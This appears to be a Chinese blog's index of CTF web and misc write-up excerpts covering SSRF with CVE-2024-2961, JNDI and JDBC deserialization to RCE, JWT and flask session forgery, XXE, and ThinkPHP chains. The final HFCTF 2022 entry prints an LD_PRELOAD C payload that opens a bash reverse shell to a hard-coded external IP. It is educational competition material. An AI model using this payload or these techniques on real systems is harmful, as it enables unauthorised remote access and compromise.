2025 N1CTF Junior Web 方向全解

很高兴可以成为第一个AK Web的师傅hh 祝N1CTF Junior越办越好~ Gavatar 直接登陆上去 发现在头像上传处可以接受URL作为参数 考虑是不是存在什么SSRF/任意文件读取 直接可以尝试file协议 可以实现读取任意文件 但是这个题给了docker 是用/readflag去获取flag 考虑是否需要通过任意文件读取转换为RCE 当时特别注意了一下这里的的PHP版本 8.3.4 不就是vulhub上给的一模一样的版本 利用 CVE-2024-2961 的实现 ...

二月 11, 2025 · 5 分钟 · 2014 字 · J1rrY

从2025系统安全防护赛JDBCParty学习高版本JDK和高版本Tomcat打JNDI到RCE

之前有师傅在群里发了如何反序列化触发到JNDI 这里重新学习整理一下整个流程 考点:高版本JDK反序列化+高版本JNDI打法 JDK17+反射限制绕过 参考:https://pankas.top/2023/12/05/jdk17-%E5%8F%8D%E5%B0%84%E9%99%90%E5%88%B6%E7%BB%95%E8%BF%87/ ...

二月 3, 2025 · 5 分钟 · 2331 字 · J1rrY

2024 网鼎杯 CTF 青龙组 Web 方向 全解 WP

Web1 考点: RS256弱公钥jwt伪造+ flask session身份伪造 +emoji shell?+xxe绕过黑名单实现任意文件读取 本身可以以任意用户登陆 随意登陆后 Cookie中设置了 token(jwt) 和 session(flask session) token是 jwt 通过 RS256进行的加密签名 session 就是 Python flask session 尝试删除 session 可以发现并不影响 /profile返回当前用户名username 如果希望篡改 username 的值 需要 ==公私钥==(非对称加密) 公钥实现解密 私钥加密 ...

十二月 19, 2024 · 8 分钟 · 3856 字 · J1rrY

1337UP LIVE 2024 国际赛 Web 方向题解

第一次打国际赛 随便打打感觉学到好多东西 Pizza Paradise 发现信息泄露 robots.txt 存在登陆页面 发现存在前端的身份验证 显然是可以利用的 function hashPassword(password) { return CryptoJS.SHA256(password).toString(); } function validate() { const username = document.getElementById("username").value; const password = document.getElementById("password").value; const credentials = getCredentials(); const passwordHash = hashPassword(password); if ( username === credentials.username && passwordHash === credentials.passwordHash ) { return true; } else { alert("Invalid credentials!"); return false; } } 值得注意的是 这里有个什么getCredentials函数 位于 /assets/js/auth.js 可以发现用户名和密码 密码是sha256加密后的 尝试在网上找个解密的 cmd5要付费eee https://iotools.cloud/zh/tool/sha256-decrypt/ ...

十二月 13, 2024 · 4 分钟 · 1751 字 · J1rrY

2024 四川省赛 Misc 部分复现

这是第一天的线下CTF赛 Misc有点弱 多多整理提升一下 unzip-png 题目给了一个 1.txt 789c一眼zlib开头 将16进制数据转换为文件 尝试写Python脚本实现解压zlib数据 ...

十二月 11, 2024 · 1 分钟 · 376 字 · J1rrY

2024 SCTF Simpleshop 出题笔记以及对Thinkphp8环境下任意代码执行的改造

[TOC] 出题思路 其实这道题主要是想考一下在Thinkphp框架下在反序列化过程中如何实现任意文件写入以及cnext绕过disable_function实现命令执行 ...

十一月 13, 2024 · 5 分钟 · 2267 字 · J1rrY

羊城杯 2020 a_piece_of_java

考点:JDBC反序列化打CC链+动态代理类触发readobject 一眼看过去 好像只有一个mysql-connector-java 可以利用jdbc 可能的攻击路径就有1) Mysql服务器任意文件读取 2) JDBC反序列化打依赖链 出现了一个==不常见的依赖库== serialkiller 做了反序列化的过滤器 可以尝试查看其源码 https://github.com/ikkisoft/SerialKiller/blob/master/pom.xml 会发现其隐形依赖了 commons-collections3.2也就是常见的CC 3.x 一种可能的路径就是 JDBC反序列化打CC依赖链 不排除Mysql的任意文件读取 ...

九月 3, 2024 · 2 分钟 · 904 字 · J1rrY

虎符CTF 2022 ezphp

https://blog.csdn.net/qq_45619909/article/details/128946735 考点:nginx临时文件上传+LD_PROLOAD劫持 <?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?> [[HXPCTF 2021 includer’s revenge]] nginx临时文件包含技巧来源 #include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__ ((__constructor__)) void preload (void){ unsetenv("LD_PRELOAD"); system("id"); system("bash -c \"sh -i >& /dev/tcp/148.135.82.190/8888 0>&1\""); } __attribute__((constructor))指在main函数之前,执行一个函数,便于我们做一些准备工作,即我们定义了一个叫做preload的无参数无回显的预编译函数 使用以下命令编译生成so文件 ...

八月 11, 2024 · 1 分钟 · 253 字 · J1rrY